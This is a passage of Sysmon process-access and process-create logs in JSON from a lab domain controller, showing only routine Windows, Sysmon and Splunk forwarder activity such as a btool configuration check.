C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.187\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nSourceProcessId: 3904\r\nSourceThreadId: 3900\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.187","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","SourceProcessId":"3904","SourceThreadId":"3900","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.212\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nProcessId: 3320\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.212","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010B03D0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nTargetProcessId: 3320\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18319|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","TargetProcessId":"3320","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18319|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nTargetProcessId: 3320\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","TargetProcessId":"3320","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 